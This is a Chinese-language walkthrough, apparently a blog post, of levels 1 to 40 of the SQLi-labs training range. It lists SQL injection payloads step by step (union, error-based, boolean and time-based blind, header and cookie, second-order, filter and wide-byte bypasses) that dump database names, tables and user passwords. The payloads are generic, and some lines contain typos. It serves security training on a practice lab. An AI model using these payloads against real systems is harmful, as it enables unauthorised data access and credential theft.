SQL-labs通关方法(1-40)

第一关

1、打开SQL-labs靶场,打开第一关靶场

2、判断闭合类型

3、判断列数

?id=1' order by 4--+

4、联合查询,显示

?id=1'union select 1,2,3 --+

5、获取当前数据库名和版本号

?id=1'union select 1,database(),version() --+

6、查看找到的数据库下的所有表名

?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="secruity" --+

7、查看users表下所有字段名

?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

8、查看users表中所有数据

?id' union select 1,2,group_concat(id,'~',username,'~',password) from users --+

第二关

1、判断闭合类型

发现必闭合类型为数字型

2、接下来步骤同第一关相同,使用命令继续查询数据库名,数据表名,以及users表中所有数据

?id=1 order by 3 --+
?id=-1 union select 1,2,3 --+
?id=-1 union select 1,database(),version() --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1 union select 1,2,group_concat(username ,id , password) from users --+

第三关

1、判断闭合类型

发现闭合类型为字符型    ')闭合

2、接下来步骤同第一关相同,使用命令继续查询数据库名,数据表名,以及users表中所有数据

?id=1') order by 3 --+
?id=-1') union select 1,2,3 --+
?id=-1') union select 1,database(),version() --+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1') union select 1,2,group_concat(username ,id , password) from users --+

第四关

1、判断闭合类型

发现闭合类型为字符型    ")闭合

?id=1") order by 3 --+
?id=-1") union select 1,2,3 --+
?id=-1") union select 1,database(),version() --+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1") union select 1,2,group_concat(username ,id , password) from users --+

2、接下来步骤同第一关相同,使用命令继续查询数据库名,数据表名,以及users表中所有数据

第五关

1、判断闭合类型

输入' 发现报错,--+闭合成功,可以使用报错注入操作

2、判断列数

判断表列数,输入4时报错,说明只有3列

?id=1 order by 3 

3、使用报错注入函数updatexml() 查看数据库名

?id=1' and updatexml(1,concat(1,database()),1) --+

4、查看数据库中所有表名

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security') ),1) --+

5、查看users表中所有列名

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') ),1) --+

6、查具体的username和password,只能通过limit一条一条查询

?id=1' and updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+

 

 ?id=1' and updatexml(1,concat(1,(select username from users limit 0,1)),1)--+

?id=1' and updatexml(1,concat(1,(select password from users limit 0,1)),1)--+

第六关

1、判断闭合类型发现为  "闭合   并且在只输入一个 " 时会有报错,我们可以使用报错注入来操作

2、判断列数

?id=1" order by 3--+

3、余下操作与第五关操作相同,使用如下报错注入分别查看数据库名,数据表名,以及表中每一条内容

?id=1' and updatexml(1,concat(1,database()),1) --+

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security') ),1) --+

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') ),1) --+

?id=1' and updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+

第七关

1、判断闭合类型

输入?id=1'是发现报错,在输入" 时发现页面正常,所以id应该是'字符串,但是页面报错,我们尝试输入')--+,发现还是报错,然后尝试输入')) --+ 发现页面正常,所以是')) 闭合

2、使用布尔盲注进行SQL注入

1、判断数据库长度

?id=1')) and length((select database()))>7 --+

在输入>7时,页面正常,输入>8时,页面出错,说明数据库长度等于8. 

2、依次判断数据库每个字符的ASCII值,对照ASCII表查看

?id=1')) and ascii(substr((select database()),1,1))>114--+

输入>114,页面正确,输入>115,页面出错。所以数据库名第一个字符的ASCII值为115

3、在得出数据库名后,判断所有表名字符长度

?id=1')) and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28--+

>28时页面正常,>29是页面报错,说明所有表名字符长度为29

4、逐一判断所有表名的ASCII值

?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>101--+

eg:第一个字符ASCII值>100,页面正常,>101,页面错误,所以第一个字符的ASCII值为101,剩余依次查询,得出所有ASCII值,对照ASCII表得出所有表名。

5、判断users表中所有字段字符的长度

?id=1')) and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>19--+

 >19时,页面正常,>20时,页面出错,所以所有字段字符长度为20

 

6、判断所有字段的ASCII值

?id=1')) and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>104--+

eg:字段第一个ASCII值>104,页面正常,>105时,页面出错,所以第一个字符ASCII值为115,然后依次查询,得出所有字段名的ASCII值,对照ASCII表得出字段名

7、判断表中所有内容长度

?id=1')) and length((select group_concat(username,password) from users))>189--+

>189,页面正常,>190,页面出错,所以所有内容字符长度为190

8、逐一判断users表内容中所有字符的ASCII值,对照ASCII表得出所有内容

?id=1')) and ascii(substr((select group_concat(username,password) from users),1,1))>67--+

eg:第一个内容字符ASCII值>67 页面正常,>68,页面报错,所以第一个字符ASCII值为68

依次查找剩余所有内容字符ASCII值,对照ASCII表得出所有内容

第八关

1、判断闭合方式

输入' 发现页面什么都不显示,加入--+后发现页面又出现显示,尝试其他过后发现页面只有一种有内容和一种没内容两种显示,这时我们使用布尔盲注进行SQL注入

2、注入方式同第七关相同

1、判断数据名长度,然后逐一判断数据库名对应的ASCII值,最后对照ASCII表得出数据库名

?id=1' and length((select database()))>7--+

?id=1' and ascii(substr((select database()),1,1))>114--+

 

 

2、判断数据表长度,然后逐一判断数据表名对应的ASCII值,最后对照ASCII表得出所有数据表名

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28--+

?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>101--+

3、判断users表中所有字段长度,然后逐一判断字段对应的ASCII值,最后对照ASCII表得出所有字段名

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>19--+

?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>104--+

4、判断users表中所有内容的长度,然后逐一判断所有内容字符对应的ASCII值,最后对照ASCII表得出所有内容

?id=1' and length((select group_concat(username,password) from users))>189--+

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>67--+

第九关

1、判断闭合方式

尝试各种闭合方式,发现无论输入什么,页面都不变,使用时间盲注判断一下闭合类型,发现是'闭合

?id=1' and if(1=1,sleep(3),1) --+

2、使用时间盲注进行注入

1、判断数据库名长度

?id=1'and if(length((select database()))>8,sleep(3),1)--+

>7,页面延迟三秒,>8时, 页面无延迟,所以数据库名长度为8

2、依次判断数据库名字符的ASCII值,对照ASCII表得出数据库名

?id=1' and if(ascii(substr((select database()),1,1))>114,sleep(3),1) --+

>114时,页面延迟三秒,>115时,页面无延迟,所以数据库名第一位字符的ASCII值为115

依次判断剩余字符的ASCII值。

3、判断数据库表名所有字符长度

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28,sleep(3),1)--+

>28时,页面延迟三秒,>29时,页面无延迟,所以数据库中所有表的字符长度为29

4、逐一判断数据表名所有字符对应ASCII值


?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100,sleep(3),1)--+

> 100时,页面延迟三秒,>101时,页面无延迟,所以数据表名第一个字符的ASCII值为101,依次判断剩余字符ASCII值

5、判断users表中所有字段的字符长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>19,sleep(3),1)--+

>19时,页面延迟,>20时,页面没有延迟,所以字段中所有字符长度为20 ,

6、逐一判断users表中所有字段的字符ASCII值

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>105,sleep(3),1)--+

>104时,页面延迟>105时,页面无延迟,所以字段中第一个字符的ASCII值为105,依次判断剩余字段字符ASCII值 

7、判断users表中所有内容的字符长度

?id=1' and if(length((select group_concat(username,password) from users))>189,sleep(3),1)--+

>189,页面延迟,>190页面无延迟,所以users表中所有内容字符长度为190 

8、逐一判断users表中所有内容的ASCII值,对照ASCII表中查找所有内容

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>68,sleep(3),1)--+

 >67,页面延迟,>68,页面无延迟,所以users表中所有内容的第一个字符的ASCII值为68,依次判断剩余字符的ASCII值,对照ASCII表得出所有内容的字符

第十关

1、判断闭合方式

尝试各种闭合方式,发现无论输入什么,页面都不变,使用时间盲注判断一下闭合类型,发现是 " 闭合

?id=1"and if(ascii(substr((select database())))>7,sleep(3),1)--+

2、余下操作与第九关相同

1、判断数据库名长度,然后逐一判断数据库名的ASCII值,得出对应的数据库名

?id=1“and if(length((select database()))>9,sleep(5),1)--+

 

?id=1'”and if(ascii(substr((select database()),1,1))>114,sleep(3),1) --+

2、判断数据表所有字符长度,然后逐一判断数据表名所有字符的ASCII值,得出对应的数据表名

?id=1“and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28,sleep(3),1)--+

 ?id=1"and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100,sleep(3),1)--+

3、判断users表中所有字段字符长度,然后逐一判字段名的ASCII值,得出对应的字段名

?id=1"and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>19,sleep(3),1)--+

?id=1"and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>105,sleep(3),1)--+

4、判断users表中所有内容字符长度,然后逐一判断表中字符的ASCII值,得出所有内容

?id=1"and if(length((select group_concat(username,password) from users))>189,sleep(3),1)--+

?id=1" and if(ascii(substr((select group_concat(username,password) from users),1,1))>68,sleep(3),1)--+

第十一关

1、判断闭合方式

在输入框输入1时页面没变化,输入1'时页面报错,输入万能密码1' or 1=1 # 登录成功

所以闭合方式为1' #闭合

2、判断列数

发现输入3时报错,只有两列

3、爆出显示位

4、联合查询数据库名

5、查询数据表名

6、查询users表字段名

7、查看users数据表中所有内容

第十二关

1、判断闭合方式

输入1和1'时页面没反应,输入1"时,页面报错,可以得出闭合方式是  1")#

2、判断列数

发现只有两列

3、联合查询爆出显示位

4、联合查询数据库名

1") union select 1,(select database())#

5、查询数据表名

1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#

6、查询users表中字段名

1") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')#

7、查看users表中所有内容

1") union select 1,(select group_concat(id,username,password) from users)#

第十三关

1、判断闭合方式

输入1' 页面报错,发现是 1')# 闭合

2、判断列数

输入3时报错,发现只有两列

3、查询爆出显示位,查询数据库名

1') and updatexml(1,concat(1,(select (database()))),1)#

使用联合查询之后发现没有显示位置,使用报错注入尝试查询数据库名,

4、查询数据表名

1') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

5、查询users表中字段

1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#

6、查询users表中所有内容

1') and updatexml(1,concat(1,(select username from users limit 0,1)),1)#

使用limit分别查询usernam和password表中所有内容

第十四关

1、判断闭合方式

输入1',页面没变化,输入1",页面报错,闭合方式为1   "#,输入万能密码进行验证是否闭合

2、判断列数

输入3报错,发现只有2列

3、查询数据库名

使用万能密码登陆后,发现没有显示位置,但是有报错,尝试使用报错注入查看数据库名

1" and updatexml(1,concat(1,(select (database()))),1)#

 

4、查询数据表名

1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

5、查询users表字段

1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#

6、查询user表中所有内容

使用limit分别查询username和password表中数据

1" and updatexml(1,concat(1,(select username from users limit 0,1)),1)#

第十五关

1、判断闭合方式

输入1' ,1" 没有任何变化,也没有报错,使用万能密码判断是否闭合,发现1' #成功闭合登录

2、使用时间盲注判断数据库名长度

admin'and if(length((select database()))>7,sleep(3),1) #

大于7,页面延迟,大于8,页面无延迟,所以数据库长度为8

3、依次判断数据库名的ASCII指,对照ASCII表,得出数据库名

admin' and if(ascii(substr((select database()),1,1))>114,sleep(3),1) #

 

 剩余字符依次判断得出

4、判断数据库中所有表字符长度

admin'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28,sleep(3),1) #

5、依次判断数据表中所有字符的ASCII值,得出数据表

admin'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100,sleep(3),1) #

6、判断users表中所有字段长度 

admin'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>19,sleep(3),1) #

 

7、依次判断users表中所有字段的ASCII值

admin'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>104,sleep(3),1) #

 

8、判断users表中所有内容的字符长度

admin' and if(length((select group_concat(username,password) from users))>189,sleep(3),1) #

9、依次判断users表中所有字符的ASCII值

admin' and if(ascii(substr((select group_concat(username,password) from users),1,1))>68,sleep(3),1) #

第十六关

1、判断闭合注入

输入什么页面都没有变化,尝试输入万能密码 1") or 1=1 后发现页面进入登录成功界面,说明是")闭合,存在注入,使用时间盲注进行注入

2、判断数据库名长度

admin")and if(length((select database()))>7,sleep(3),1) #

3、依次判断数据库名的ASCII值

admin") and if(ascii(substr((select database()),1,1))>114,sleep(3),1) #

4、判断数据库中所有表字符长度

admin")and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28,sleep(3),1) #

 

5、依次判断数据表中所有字符的ASCII值,得出数据表

admin")and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100,sleep(3),1) #

 

6、判断users表中所有字段长度 

admin")and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>19,sleep(3),1) #

7、依次判断users表中所有字段的ASCII值

admin")and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>104,sleep(3),1) #

8、判断users表中所有内容的字符长度

admin") and if(length((select group_concat(username,password) from users))>104,sleep(3),1) #

9、判断users表中所有内容的字符ASCII值

admin") and if(ascii(substr((select group_concat(username,password) from users),1,1))>67,sleep(3),1) #

第十七关

1、判断闭合注入

输入admin    密码输入1',发现报错,尝试报错注入,密码输入1'#,页面正常,闭合成功

2、查看数据库名

1' and (updatexml(1,concat(1, database()),1))#

 

3、查看数据表名

1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security') ),1) #

4、查看emails表中列名

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails') ),1) #

5、查看emails表中所有内容

1' and updatexml(1,concat(1,(select group_concat(id,email_id) from emails)),1) #

第十八关

1、尝试输入正确密码

这里显示出了user-Agent,我们尝试在 user-Agent中注入

2、使用BP抓包

 

3、查看数据库名

1'and (updatexml(1,concat(1, database()),1))and '#

 

4、查看数据库表

1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),1)) and '#

第十九关

1、输入正确密码查看admin

发现存在referer,尝试注入

2、使用BP抓包尝试

3、使用报错查询数据库名

1'and (updatexml(1,concat(1, database()),1))and '#

第二十关

1、输入正确密码查看

发现存在rcookie,尝试注入

2、使用BP抓包尝试

3、使用报错查询数据库名

1'and (updatexml(1,concat(1, database()),1))and '#

第二十一关

1、尝试正确密码登录

登录上去发现有COOKIE,但是不是熟悉的值,而是bse64编码过后的值,解码后发现是dumb

2、BP抓包

3、查看数据库名

正常输入联合查询发现编码不正确,将查询语句编码后输入

') union select 1,2,database() #

 

4、查看数据表名

将语句编码后输入查询

')union select1,2,group_concat(table_name) from information_schema.tables where table_schema="security" #

5、查看users表中所有字段名

将语句编码后输入

' )union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" #

 

6、查看users表中所有内容

将语句编码后输入

' )union select 1,2,group_concat(id,'~',username,'~',password) from users #

第二十二关

1、尝试登录查看

发现与二十一关显示内容相同,所有还是base64编码,,将语句编码后查询

2、BP抓包查看COOKIE

3、查看数据库名

" union select 1,2,database() #

 

4、查看数据表名

" union select1,2,group_concat(table_name) from information_schema.tables where table_schema="security" #

5、查看users表中所有字段名

" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" #

6、查看users表中所有内容

" union select 1,2,group_concat(id,'~',username,'~',password) from users #

第二十三关

1、判断闭合方式

尝试之后发现注释符都被过滤,两个' ' 可以闭合

2、判断列数

发现只有三列

3、查看数据库名

?id=-1' union select 1,2,database()'

4、查看数据表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '

5、查看users表中的字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' '

6、查看users表中所有内容

?id=-1' union select 1,2,(select group_concat(username,password) from users) '

第二十四关

1、尝试正确密码登录查看

发现是改密码界面,使用二次注入尝试

2、1、注册一个 admin'#的账号,密码是123123

3、接下来登录该帐号后进行修改密码,修改为123456

4、登录admin账号,密码就是123456

第二十五关

1、判断闭合

打开页面发现and和or都被过滤,输入'报错,'--+ 闭合成功

2、联合查询注入查看数据库名

3、查看数据表名

?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema="security"--+

4、查看users表中字段名

?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema="security" aandnd table_name="users" --+

5、查看users表中所有内容

?id=-1' union select 1,2,group_concat(username,passwoorrd) from users --+

第二十六关

1、判断闭合

输入' 发现报错,尝试闭合,根据页面提示发现空格被过滤

2、查看源码发现and or 和大部分注释符都被替换,尝试用字符代替空格尝试闭合,发现全部都被过滤,使用截断符尝试闭合.

3、使用报错注入查看数据库名

?id=1'anandd(updatexml(1,(concat(1,(database()))),1))anandd'1'='1

第二十七关

1、判断闭合

打开页面发现union和select都被过滤,输入'报错,and'1'='1 闭合成功

2、查看源码发现union select 和大部分注释符都被替换.用字符替代空格尝试

3、使用大小写+%a0来代替空格,查询数据库名

?id=100'%0aUNion%0aSElect%0a1,database(),3%0aand'1'='1

第二十八关

1、判断闭合 

打开页面发现union和select都被过滤,输入?id=1'报错,and'1'='1 闭合成功,输入查询发现报错,

 输入?id=1'and('1')=('1 闭合成功,查询语句正常

2、查看源码发现union select 和大部分注释符都被替换.用字符替代空格尝试

3、使用双写+%0a+('1')=('1绕过

第二十九关

1、判断闭合

页面显示世界上最好的防火墙

查看源码发现  会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值

输入?id=1'报错,--+ 闭合成功

2、查看数据库名

?id=1&id=-2' union select 1,2,database()--+

3、查看数据表名

?id=1&id=-2' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

4、查看users表中字段名

?id=1&id=-2' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

5、查看users表中内容

?id=1&id=-2' union select 1,group_concat(password,username),3 from users--+

第三十关

1、判断闭合

输入?id=1'不报错,输入" 页面出错   --+页面闭合,所以是"闭合

2、查看数据库名

?id=1&id=-2" union select 1,2,database()--+

3、查看数据库表名

?id=1&id=-2" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 

4、查看users表中字段名

?id=1&id=-2" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

 

5、查看users表中内容

?id=1&id=-2" union select 1,group_concat(password,username),3 from users--+

 第三十一关

1、判断闭合和列数

输入?id=1")--+  闭合成功,共有三列

2、查看数据库名

?id=-1") union select 1,2,database()--+

3、查看数据库表名

?id=-1")union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

4、查看users表中字段名

?id=-1")union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

5、查看users表中内容

?id=-1") union select 1,2,group_concat(password,username) from users--+

 第三十二关

1、判断闭合和列数

输入' 发现’前有\,加入%df转为一个汉字字符 --+ 成功闭合,共有三列

2、查看数据库名

?id=-1%df'union select 1,2,database()--+

3、查看数据库表名

?id=-1%df'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

4、查看users表中字段名

 ?id=-1%df%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+

5、查看users表中内容

?id=-1%df' union select 1,2,group_concat(password,username) from users--+

 第三十三关

1、判断闭合

输入' 发现’前有\,加入%df转为一个汉字字符 --+ 成功闭合,共有三列

2、查看数据库名

?id=-1%df'union select 1,2,database()--+

3、查看数据库表名

?id=-1%df'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

4、查看users表中字段名

?id=-1%df%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+

5、查看users表中内容

?id=-1%df' union select 1,2,group_concat(password,username) from users--+

 

 第三十四关 

1、判断闭合

这关为post提交,抓包输入' 发现’前有\,加入%df转为一个汉字字符 --+ 成功闭合,共有2列

2、查看数据库名

-1%df'union select 1,database()--+

3、查看数据库表名

-1%df'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

4、查看users表中字段名

?1%df%27union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+

5、查看users表中内容

1%df' union select 1,group_concat(password,username) from users--+

 第三十五关

1、判断闭合

数字型?id=1 order by 3 --+ 成功闭合,共有三列

2、查看数据库名

?id=-1 union select 1,2,database()--+

3、查看数据库表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

4、查看users表中字段名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

5、查看users表中内容

-1 union select 1,group_concat(password,username) from users--+

第三十六关

1、判断闭合和列数,一共有三列,是' 闭合

 

2、查看数据库名

?id=-1%df'union select 1,2,database()--+

 

3、查看数据库表名

 ?id=-1%df'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

4、查看users表中字段名

?id=-1%df%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+

5、查看users表中内容

?id=-1%df' union select 1,2,group_concat(password,username) from users--+

第三十七关

1、判断闭合和列数

 这关为post提交,抓包输入' 发现’前有\,加入%df转为一个汉字字符 --+ 成功闭合,共有2列

2、查看数据库名

 -1%df'union select 1,database()--+

3、查看数据库表名

-1%df'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 

4、查看users表中字段名

?1%df%27union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+

 

5、查看users表中内容

1%df' union select 1,group_concat(password,username) from users--+

 

第三十八关

1、判断闭合和列数

 '闭合,共有3列

2、查看数据库名

?id=-1' union select 1,2,database()--+

 

3、查看数据库表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 

4、查看users表中字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

 

5、查看users表中内容

?id=-1' union select 1,2,group_concat(password,username) from users--+

第三十九关

1、判断闭合和列数

 判断是整数型闭合,共有三列

2、查看数据库名

?id=-1 union select 1,2,database()--+

3、查看数据库表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 

4、查看users表中字段名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

5、查看users表中内容

?id=-1 union select 1,2,group_concat(password,username) from users--+

第四十关

1、判断闭合和闭合

发现是')闭合,共有三列

2、查看数据库名

 ?id=-1') union select 1,2,database()--+

3、查看数据库表名

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

4、查看users表中字段名

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

5、查看users表中内容

?id=-1‘) union select 1,2,group_concat(password,username) from users--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值